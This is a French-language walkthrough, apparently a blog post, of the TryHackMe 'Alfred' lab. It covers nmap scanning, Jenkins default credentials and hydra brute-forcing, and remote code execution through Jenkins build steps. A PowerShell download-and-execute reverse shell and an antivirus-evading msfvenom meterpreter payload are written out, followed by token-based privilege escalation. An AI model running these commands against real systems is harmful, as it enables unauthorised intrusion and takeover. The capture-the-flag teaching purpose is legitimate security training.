Alfred - Advanced Exploitation TryHackMe

Aujourd'hui nous allons apprendre à exploiter jenkins pour obtenir un premier accès, puis nous allons effectuer une élévation de privilège via l'exploitation des tokens d'authentification Windows.
C'est parti !

Initial Access

Particularité ICMP désactivé

sudo nmap -sC -sV 10.10.159.231 -O -oN results-nmap.txt --script=vuln
ne trouve pas d'host
on tente avec le switch -Pn (plus lent car va tout considérer comme open)
nmap -sV -sC -oA nmap/alfred 10.10.230.14 -Pn

ou

sudo nmap 10.10.159.231 -oN results-nmap.txt -Pn          
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 16:28 CEST
Nmap scan report for 10.10.159.231
Host is up (0.021s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 612.95 seconds

login

On découvre jenkins sur le port 8080

Sur le port 80 le site nous donne une indication :
alfred@wayneenterprises.com

on va tenter le login alfred, reste à découvrir le mot de passe.

une fois sur 10.10.159.231
on test admin:admin
sur jenkins : (default is admin:password)

on peut aussi avec hydra :
hydra -L wordlist.txt -P wordlist.txt 10.10.90.206 -s 8080 http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError"

RCE

Une fois sur jenkins on trouve un endroit où il est possible d'executer des commandes.
notamment dans le Build !
et lorsque on regarde le console output du build, on voit que la commande est executée.

le résultat actuel est :

Running as SYSTEM
Building in workspace C:\Program Files (x86)\Jenkins\workspace\project
[project] $ cmd /c call C:\Users\bruce\AppData\Local\Temp\jenkins4227602217442961440.bat

C:\Program Files (x86)\Jenkins\workspace\project>whoami
alfred\bruce

C:\Program Files (x86)\Jenkins\workspace\project>exit 0 
Finished: SUCCESS

du coup on va faire executer un powershell reverse grace à Nishang (le framework) :
d'abord on va lui faire télécharger notre script.

sur notre host à l'endroit où se trouve le script reverse-shell :
python3 -m http.server 80
et aussi on prepare un listener sur lesquelles on executera les commandes :
nc -lvnp 9000
et dans la commande à executer sur le serveur :

powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.31.167:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.31.167 -Port 9000

ainsi : jenkins va executer ce code : il va se connecter à notre serveur web et va telechacher le fichier Invoke-PowershellTcp.ps1, puis l'executer en reverse en appelant notre netcat sur le port 9000.
On obtient le shell

switch shell

Essayons d'avoir un meilleur shell(meterpreter) grâce à msfvenom

Pour faciliter l'escalation de privilège on va utiliser un shell meterpreter.
On prépare un reverse shell meterpreter en utilisant le payload suivant :

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe

Cette commande permet de créer un payload reverse tcp encodé et sous architecture x86. L'encodage des payloads permet de contourner les analyses antivirus.

Après la création du payload télécharger le sur la machine de la même manière que précédemment :

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"

--> powershell "(new-object system.net.webclient).downloadfile('http://10.11.31.167:8000/revshell7000.exe','rs7000.exe')"
cela va permettre de récupérer le fichier et de le stocker sur le serveur
Il faudra ensuite le lancer via une autre commande

ensuite en faisant executer un dir on se rend compte que le programme est bien présent sur le disque du serveur

Started by user admin
Running as SYSTEM
Building in workspace C:\Program Files (x86)\Jenkins\workspace\project
[project] $ cmd /c call C:\Users\bruce\AppData\Local\Temp\jenkins1778623489196233382.bat

C:\Program Files (x86)\Jenkins\workspace\project>dir
 Volume in drive C has no label.
 Volume Serial Number is E033-3EDD

 Directory of C:\Program Files (x86)\Jenkins\workspace\project

04/27/2021  06:13 PM    <DIR>          .
04/27/2021  06:13 PM    <DIR>          ..
04/27/2021  06:13 PM            73,802 rs7000.exe
               1 File(s)         73,802 bytes
               2 Dir(s)  20,525,465,600 bytes free

C:\Program Files (x86)\Jenkins\workspace\project>exit 0 
Finished: SUCCESS
┌──(kali㉿vm-kali)-[~]
└─$ service postgresql start                        
                                                                                   
┌──(kali㉿vm-kali)-[~]
└─$ msfconsole

Avant d'utiliser le programme, assurez vous que le handler (le program qui écoute) est lancé correctement sur metasploit :

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-ip 
set LPORT listening-port run

Cet étape permet de s'assurer de recevoir les connexions entrantes en provenance de votre reverse shell. Une fois que le multi/handler est en écoute, lancez cette commande dans la config de build de Jenkins pour démarrer le reverse shell :

Start-Process "shell-name.exe"
--> powershell Start-Process "alfred.exe"

Cela va faire apparaître un shell meterpreter !

Arff !!! Cela ne fonctionne pas : (antivirus ? scan ?)

je test en stageless
powershell "(new-object system.net.webclient).downloadfile('http://10.11.31.167:8000/revshell8000stageless.exe','rs8000SL.exe')"
ne fonctionne pas

solution réalisée :

  1. réouvrir le shell normal (via le revershell powershell)
  2. executer notre exploit concu avec msfvenom
Directory: C:\Program Files (x86)\Jenkins\workspace\project


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         4/27/2021   6:35 PM      73802 rs7000.exe                        
-a---         4/27/2021   8:28 PM     250368 rs8000SL.exe                      


PS C:\Program Files (x86)\Jenkins\workspace\project> powershell start-process rs8000SL.exe

Cela permet la connexion meterpreter

on peut ensuite récupérer des informations :

meterpreter > sysinfo
Computer        : ALFRED
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > 

Windows utilise des tokens pour s'assurer que les comptes disposent des privilèges appropriés pour effectuer des actions particulières. Les tokens de compte sont attribués à un compte lorsque les utilisateurs se connectent ou sont authentifiés. Ceci est généralement effectué par LSASS.exe (considérez cela comme un processus d'authentification).

Ce token d'accès se compose de :
* SID utilisateur (identifiant de sécurité)
* SID du groupe
* privilèges
Des informations plus détaillées peuvent être trouvées ici.

Il existe deux types de token (jeton) d'accès :
Tokens d'accès primaire : ceux associés à un compte utilisateur qui sont générés à la connexion
Tokens d'emprunt d'identité : ils permettent à un processus particulier (ou thread dans un processus) d'accéder aux ressources en utilisant le jeton d'un autre processus (utilisateur/client)

Pour un token d'emprunt d'identité, il existe différents niveaux:
SecurityAnonymous : l'utilisateur/client actuel ne peut pas usurper l'identité d'un autre utilisateur/client
SecurityIdentification : l'utilisateur/client actuel peut obtenir l'identité et les privilèges d'un client, mais ne peut pas usurper l'identité du client
SecurityImpersonation : l'utilisateur/client actuel peut emprunter l'identité du contexte de sécurité du client sur le système local
SecurityDelegation : l'utilisateur/client actuel peut emprunter l'identité du contexte de sécurité du client sur un système distant où le contexte de sécurité est une structure de données qui contient les informations de sécurité pertinentes des utilisateurs.

Les privilèges d'un compte (qui sont soit accordés au compte lors de sa création, soit hérités d'un groupe) permettent à un utilisateur d'effectuer des actions particulières.
Voici les privilèges les plus souvent exploités :

- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege

Avec meterpreter :
getsystem nous permet d'elever les privilèges mais pas suffisamment pour récupérer le root.txt
on va migrer vers le process services.exe qui est executé par NT AUTHORITY\SYSTEM qui est donc l'utilisateur Administrateur de la machine
ps
on repere le PID

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 396   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 524   516   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 572   564   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 580   516   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 608   564   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 668   580   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
 676   580   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 684   580   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
 772   668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 832   668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe

on migre vers 668
migrate 668

on recherche ensuite le fichier :
search -f root.txt
une fois retrouvé, on le lit
cat /windows/system32/config/root.txt

Ceci signe la fin de l'article, n'hésitez pas à partager, me faire part de vos commentaires, ou tout simplement me mettre un petit like : Tous vos commentaires sont lus !

Envie d'en apprendre encore plus ? Abonnez-vous en choisissant l'une des 3 formules (gratuite ou payante) et recevez directement par email nos articles dès leurs parutions. La formule payante vous donne droits à des articles Premium !